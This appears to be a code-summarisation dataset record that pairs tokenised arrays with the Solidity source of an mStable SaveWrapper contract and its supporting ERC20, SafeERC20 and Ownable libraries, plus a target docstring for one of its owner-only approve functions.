[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 5912, 1265, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1731, 3778, 1748, 892, 5549, 203, 565, 262, 203, 3639, 1071, 203, 3639, 5024, 203, 3639, 3849, 203, 565, 288, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 2499, 2539, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 2080, 422, 1234, 18, 15330, 747, 389, 9497, 12053, 4524, 63, 2080, 6362, 3576, 18, 15330, 6487, 315, 654, 39, 2499, 2539, 30, 4894, 353, 486, 3410, 12517, 20412, 8863, 203, 3639, 2583, 12, 3445, 93, 654, 39, 3462, 12, 350, 2934, 13866, 1265, 12, 2080, 16, 358, 16, 3844, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.8.2; interface ISavingsContractV2 { // DEPRECATED but still backwards compatible function redeem(uint256 _amount) external returns (uint256 massetReturned); function creditBalances(address) external view returns (uint256); // V1 & V2 (use balanceOf) // -------------------------------------------- function depositInterest(uint256 _amount) external; // V1 & V2 function depositSavings(uint256 _amount) external returns (uint256 creditsIssued); // V1 & V2 function depositSavings(uint256 _amount, address _beneficiary) external returns (uint256 creditsIssued); // V2 function redeemCredits(uint256 _amount) external returns (uint256 underlyingReturned); // V2 function redeemUnderlying(uint256 _amount) external returns (uint256 creditsBurned); // V2 function exchangeRate() external view returns (uint256); // V1 & V2 function balanceOfUnderlying(address _user) external view returns (uint256 balance); // V2 function underlyingToCredits(uint256 _credits) external view returns (uint256 underlying); // V2 function creditsToUnderlying(uint256 _underlying) external view returns (uint256 credits); // V2 } struct BassetPersonal { // Address of the bAsset address addr; // Address of the bAsset address integrator; // An ERC20 can charge transfer fee, for example USDT, DGX tokens. bool hasTxFee; // takes a byte in storage // Status of the bAsset BassetStatus status; } struct BassetData { // 1 Basset * ratio / ratioScale == x Masset (relative value) // If ratio == 10e8 then 1 bAsset = 10 mAssets // A ratio is divised as 10^(18-tokenDecimals) * measurementMultiple(relative value of 1 base unit) uint128 ratio; // Amount of the Basset that is held in Collateral uint128 vaultBalance; } abstract contract IMasset { // Mint function mint( address _input, uint256 _inputQuantity, uint256 _minOutputQuantity, address _recipient ) external virtual returns (uint256 mintOutput); function mintMulti( address[] calldata _inputs, uint256[] calldata _inputQuantities, uint256 _minOutputQuantity, address _recipient ) external virtual returns (uint256 mintOutput); function getMintOutput(address _input, uint256 _inputQuantity) external view virtual returns (uint256 mintOutput); function getMintMultiOutput(address[] calldata _inputs, uint256[] calldata _inputQuantities) external view virtual returns (uint256 mintOutput); // Swaps function swap( address _input, address _output, uint256 _inputQuantity, uint256 _minOutputQuantity, address _recipient ) external virtual returns (uint256 swapOutput); function getSwapOutput( address _input, address _output, uint256 _inputQuantity ) external view virtual returns (uint256 swapOutput); // Redemption function redeem( address _output, uint256 _mAssetQuantity, uint256 _minOutputQuantity, address _recipient ) external virtual returns (uint256 outputQuantity); function redeemMasset( uint256 _mAssetQuantity, uint256[] calldata _minOutputQuantities, address _recipient ) external virtual returns (uint256[] memory outputQuantities); function redeemExactBassets( address[] calldata _outputs, uint256[] calldata _outputQuantities, uint256 _maxMassetQuantity, address _recipient ) external virtual returns (uint256 mAssetRedeemed); function getRedeemOutput(address _output, uint256 _mAssetQuantity) external view virtual returns (uint256 bAssetOutput); function getRedeemExactBassetsOutput( address[] calldata _outputs, uint256[] calldata _outputQuantities ) external view virtual returns (uint256 mAssetAmount); // Views function getBasket() external view virtual returns (bool, bool); function getBasset(address _token) external view virtual returns (BassetPersonal memory personal, BassetData memory data); function getBassets() external view virtual returns (BassetPersonal[] memory personal, BassetData[] memory data); function bAssetIndexes(address) external view virtual returns (uint8); // SavingsManager function collectInterest() external virtual returns (uint256 swapFeesGained, uint256 newSupply); function collectPlatformInterest() external virtual returns (uint256 mintAmount, uint256 newSupply); // Admin function setCacheSize(uint256 _cacheSize) external virtual; function upgradeForgeValidator(address _newForgeValidator) external virtual; function setFees(uint256 _swapFee, uint256 _redemptionFee) external virtual; function setTransferFeesFlag(address _bAsset, bool _flag) external virtual; function migrateBassets(address[] calldata _bAssets, address _newIntegration) external virtual; } // Status of the Basset - has it broken its peg? enum BassetStatus { Default, Normal, BrokenBelowPeg, BrokenAbovePeg, Blacklisted, Liquidating, Liquidated, Failed } struct BasketState { bool undergoingRecol; bool failed; } struct InvariantConfig { uint256 a; WeightLimits limits; } struct WeightLimits { uint128 min; uint128 max; } struct FeederConfig { uint256 supply; uint256 a; WeightLimits limits; } struct AmpData { uint64 initialA; uint64 targetA; uint64 rampStartTime; uint64 rampEndTime; } struct FeederData { uint256 swapFee; uint256 redemptionFee; uint256 govFee; uint256 pendingFees; uint256 cacheSize; BassetPersonal[] bAssetPersonal; BassetData[] bAssetData; AmpData ampData; WeightLimits weightLimits; } struct AssetData { uint8 idx; uint256 amt; BassetPersonal personal; } struct Asset { uint8 idx; address addr; bool exists; } abstract contract IFeederPool { // Mint function mint( address _input, uint256 _inputQuantity, uint256 _minOutputQuantity, address _recipient ) external virtual returns (uint256 mintOutput); function mintMulti( address[] calldata _inputs, uint256[] calldata _inputQuantities, uint256 _minOutputQuantity, address _recipient ) external virtual returns (uint256 mintOutput); function getMintOutput(address _input, uint256 _inputQuantity) external view virtual returns (uint256 mintOutput); function getMintMultiOutput(address[] calldata _inputs, uint256[] calldata _inputQuantities) external view virtual returns (uint256 mintOutput); // Swaps function swap( address _input, address _output, uint256 _inputQuantity, uint256 _minOutputQuantity, address _recipient ) external virtual returns (uint256 swapOutput); function getSwapOutput( address _input, address _output, uint256 _inputQuantity ) external view virtual returns (uint256 swapOutput); // Redemption function redeem( address _output, uint256 _fpTokenQuantity, uint256 _minOutputQuantity, address _recipient ) external virtual returns (uint256 outputQuantity); function redeemProportionately( uint256 _fpTokenQuantity, uint256[] calldata _minOutputQuantities, address _recipient ) external virtual returns (uint256[] memory outputQuantities); function redeemExactBassets( address[] calldata _outputs, uint256[] calldata _outputQuantities, uint256 _maxMassetQuantity, address _recipient ) external virtual returns (uint256 mAssetRedeemed); function getRedeemOutput(address _output, uint256 _fpTokenQuantity) external view virtual returns (uint256 bAssetOutput); function getRedeemExactBassetsOutput( address[] calldata _outputs, uint256[] calldata _outputQuantities ) external view virtual returns (uint256 mAssetAmount); // Views function mAsset() external view virtual returns (address); function getPrice() public view virtual returns (uint256 price, uint256 k); function getConfig() external view virtual returns (FeederConfig memory config); function getBasset(address _token) external view virtual returns (BassetPersonal memory personal, BassetData memory data); function getBassets() external view virtual returns (BassetPersonal[] memory personal, BassetData[] memory data); // SavingsManager function collectPlatformInterest() external virtual returns (uint256 mintAmount, uint256 newSupply); function collectPendingFees() external virtual; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IBoostedVaultWithLockup { /** * @dev Stakes a given amount of the StakingToken for the sender * @param _amount Units of StakingToken */ function stake(uint256 _amount) external; /** * @dev Stakes a given amount of the StakingToken for a given beneficiary * @param _beneficiary Staked tokens are credited to this address * @param _amount Units of StakingToken */ function stake(address _beneficiary, uint256 _amount) external; /** * @dev Withdraws stake from pool and claims any unlocked rewards. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function exit() external; /** * @dev Withdraws stake from pool and claims any unlocked rewards. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function exit(uint256 _first, uint256 _last) external; /** * @dev Withdraws given stake amount from the pool * @param _amount Units of the staked token to withdraw */ function withdraw(uint256 _amount) external; /** * @dev Claims only the tokens that have been immediately unlocked, not including * those that are in the lockers. */ function claimReward() external; /** * @dev Claims all unlocked rewards for sender. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function claimRewards() external; /** * @dev Claims all unlocked rewards for sender. Both immediately unlocked * rewards and also locked rewards past their time lock. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function claimRewards(uint256 _first, uint256 _last) external; /** * @dev Pokes a given account to reset the boost */ function pokeBoost(address _account) external; /** * @dev Gets the last applicable timestamp for this reward period */ function lastTimeRewardApplicable() external view returns (uint256); /** * @dev Calculates the amount of unclaimed rewards per token since last update, * and sums with stored to give the new cumulative reward per token * @return 'Reward' per staked token */ function rewardPerToken() external view returns (uint256); /** * @dev Returned the units of IMMEDIATELY claimable rewards a user has to receive. Note - this * does NOT include the majority of rewards which will be locked up. * @param _account User address * @return Total reward amount earned */ function earned(address _account) external view returns (uint256); /** * @dev Calculates all unclaimed reward data, finding both immediately unlocked rewards * and those that have passed their time lock. * @param _account User address * @return amount Total units of unclaimed rewards * @return first Index of the first userReward that has unlocked * @return last Index of the last userReward that has unlocked */ function unclaimedRewards(address _account) external view returns ( uint256 amount, uint256 first, uint256 last ); } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Router02 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, // calculated off chain address[] calldata path, // also worked out off chain address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); } interface IBasicToken { function decimals() external view returns (uint8); } // FLOWS // 0 - mAsset -> Savings Vault // 1 - bAsset -> Save/Savings Vault via Mint // 2 - fAsset -> Save/Savings Vault via Feeder Pool // 3 - ETH -> Save/Savings Vault via Uniswap contract SaveWrapper is Ownable { using SafeERC20 for IERC20; /** * @dev 0. Simply saves an mAsset and then into the vault * @param _mAsset mAsset address * @param _save Save address * @param _vault Boosted Savings Vault address * @param _amount Units of mAsset to deposit to savings */ function saveAndStake( address _mAsset, address _save, address _vault, uint256 _amount ) external { require(_mAsset != address(0), "Invalid mAsset"); require(_save != address(0), "Invalid save"); require(_vault != address(0), "Invalid vault"); // 1. Get the input mAsset IERC20(_mAsset).safeTransferFrom(msg.sender, address(this), _amount); // 2. Mint imAsset and stake in vault _saveAndStake(_save, _vault, _amount, true); } /** * @dev 1. Mints an mAsset and then deposits to Save/Savings Vault * @param _mAsset mAsset address * @param _bAsset bAsset address * @param _save Save address * @param _vault Boosted Savings Vault address * @param _amount Amount of bAsset to mint with * @param _minOut Min amount of mAsset to get back * @param _stake Add the imAsset to the Boosted Savings Vault? */ function saveViaMint( address _mAsset, address _save, address _vault, address _bAsset, uint256 _amount, uint256 _minOut, bool _stake ) external { require(_mAsset != address(0), "Invalid mAsset"); require(_save != address(0), "Invalid save"); require(_vault != address(0), "Invalid vault"); require(_bAsset != address(0), "Invalid bAsset"); // 1. Get the input bAsset IERC20(_bAsset).safeTransferFrom(msg.sender, address(this), _amount); // 2. Mint uint256 massetsMinted = IMasset(_mAsset).mint(_bAsset, _amount, _minOut, address(this)); // 3. Mint imAsset and optionally stake in vault _saveAndStake(_save, _vault, massetsMinted, _stake); } /** * @dev 2. Swaps fAsset for mAsset and then deposits to Save/Savings Vault * @param _mAsset mAsset address * @param _save Save address * @param _vault Boosted Savings Vault address * @param _feeder Feeder Pool address * @param _fAsset fAsset address * @param _fAssetQuantity Quantity of fAsset sent * @param _minOutputQuantity Min amount of mAsset to be swapped and deposited * @param _stake Deposit the imAsset in the Savings Vault? */ function saveViaSwap( address _mAsset, address _save, address _vault, address _feeder, address _fAsset, uint256 _fAssetQuantity, uint256 _minOutputQuantity, bool _stake ) external { require(_feeder != address(0), "Invalid feeder"); require(_mAsset != address(0), "Invalid mAsset"); require(_save != address(0), "Invalid save"); require(_vault != address(0), "Invalid vault"); require(_fAsset != address(0), "Invalid input"); // 0. Transfer the fAsset here IERC20(_fAsset).safeTransferFrom(msg.sender, address(this), _fAssetQuantity); // 1. Swap the fAsset for mAsset with the feeder pool uint256 mAssetQuantity = IFeederPool(_feeder).swap( _fAsset, _mAsset, _fAssetQuantity, _minOutputQuantity, address(this) ); // 2. Deposit the mAsset into Save and optionally stake in the vault _saveAndStake(_save, _vault, mAssetQuantity, _stake); } /** * @dev 3. Buys a bAsset on Uniswap with ETH, then mints imAsset via mAsset, * optionally staking in the Boosted Savings Vault * @param _mAsset mAsset address * @param _save Save address * @param _vault Boosted vault address * @param _uniswap Uniswap router address * @param _amountOutMin Min uniswap output in bAsset units * @param _path Sell path on Uniswap (e.g. [WETH, DAI]) * @param _minOutMStable Min amount of mAsset to receive * @param _stake Add the imAsset to the Savings Vault? */ function saveViaUniswapETH( address _mAsset, address _save, address _vault, address _uniswap, uint256 _amountOutMin, address[] calldata _path, uint256 _minOutMStable, bool _stake ) external payable { require(_mAsset != address(0), "Invalid mAsset"); require(_save != address(0), "Invalid save"); require(_vault != address(0), "Invalid vault"); require(_uniswap != address(0), "Invalid uniswap"); // 1. Get the bAsset uint256[] memory amounts = IUniswapV2Router02(_uniswap).swapExactETHForTokens{ value: msg.value }( _amountOutMin, _path, address(this), block.timestamp + 1000 ); // 2. Purchase mAsset uint256 massetsMinted = IMasset(_mAsset).mint( _path[_path.length - 1], amounts[amounts.length - 1], _minOutMStable, address(this) ); // 3. Mint imAsset and optionally stake in vault _saveAndStake(_save, _vault, massetsMinted, _stake); } /** * @dev Gets estimated mAsset output from a WETH > bAsset > mAsset trade * @param _mAsset mAsset address * @param _uniswap Uniswap router address * @param _ethAmount ETH amount to sell * @param _path Sell path on Uniswap (e.g. [WETH, DAI]) */ function estimate_saveViaUniswapETH( address _mAsset, address _uniswap, uint256 _ethAmount, address[] calldata _path ) external view returns (uint256 out) { require(_mAsset != address(0), "Invalid mAsset"); require(_uniswap != address(0), "Invalid uniswap"); uint256 estimatedBasset = _getAmountOut(_uniswap, _ethAmount, _path); return IMasset(_mAsset).getMintOutput(_path[_path.length - 1], estimatedBasset); } /** @dev Internal func to deposit into Save and optionally stake in the vault * @param _save Save address * @param _vault Boosted vault address * @param _amount Amount of mAsset to deposit * @param _stake Add the imAsset to the Savings Vault? */ function _saveAndStake( address _save, address _vault, uint256 _amount, bool _stake ) internal { if (_stake) { uint256 credits = ISavingsContractV2(_save).depositSavings(_amount, address(this)); IBoostedVaultWithLockup(_vault).stake(msg.sender, credits); } else { ISavingsContractV2(_save).depositSavings(_amount, msg.sender); } } /** @dev Internal func to get estimated Uniswap output from WETH to token trade */ function _getAmountOut( address _uniswap, uint256 _amountIn, address[] memory _path ) internal view returns (uint256) { uint256[] memory amountsOut = IUniswapV2Router02(_uniswap).getAmountsOut(_amountIn, _path); return amountsOut[amountsOut.length - 1]; } /** * @dev Approve mAsset and bAssets, Feeder Pools and fAssets, and Save/vault */ function approve( address _mAsset, address[] calldata _bAssets, address[] calldata _fPools, address[] calldata _fAssets, address _save, address _vault ) external onlyOwner { _approve(_mAsset, _save); _approve(_save, _vault); _approve(_bAssets, _mAsset); require(_fPools.length == _fAssets.length, "Mismatching fPools/fAssets"); for (uint256 i = 0; i < _fPools.length; i++) { _approve(_fAssets[i], _fPools[i]); } } /** * @dev Approve one token/spender */ function approve(address _token, address _spender) external onlyOwner { _approve(_token, _spender); } /** * @dev Approve multiple tokens/one spender */ function approve(address[] calldata _tokens, address _spender) external onlyOwner { _approve(_tokens, _spender); } function _approve(address _token, address _spender) internal { require(_spender != address(0), "Invalid spender"); require(_token != address(0), "Invalid token"); IERC20(_token).safeApprove(_spender, 2**256 - 1); } function _approve(address[] calldata _tokens, address _spender) internal { require(_spender != address(0), "Invalid spender"); for (uint256 i = 0; i < _tokens.length; i++) { require(_tokens[i] != address(0), "Invalid token"); IERC20(_tokens[i]).safeApprove(_spender, 2**256 - 1); } } }
* @dev Approve multiple tokens/one spender/
function approve(address[] calldata _tokens, address _spender) external onlyOwner { _approve(_tokens, _spender); }
5,477,772
[ 1, 12053, 537, 3229, 2430, 19, 476, 17571, 264, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
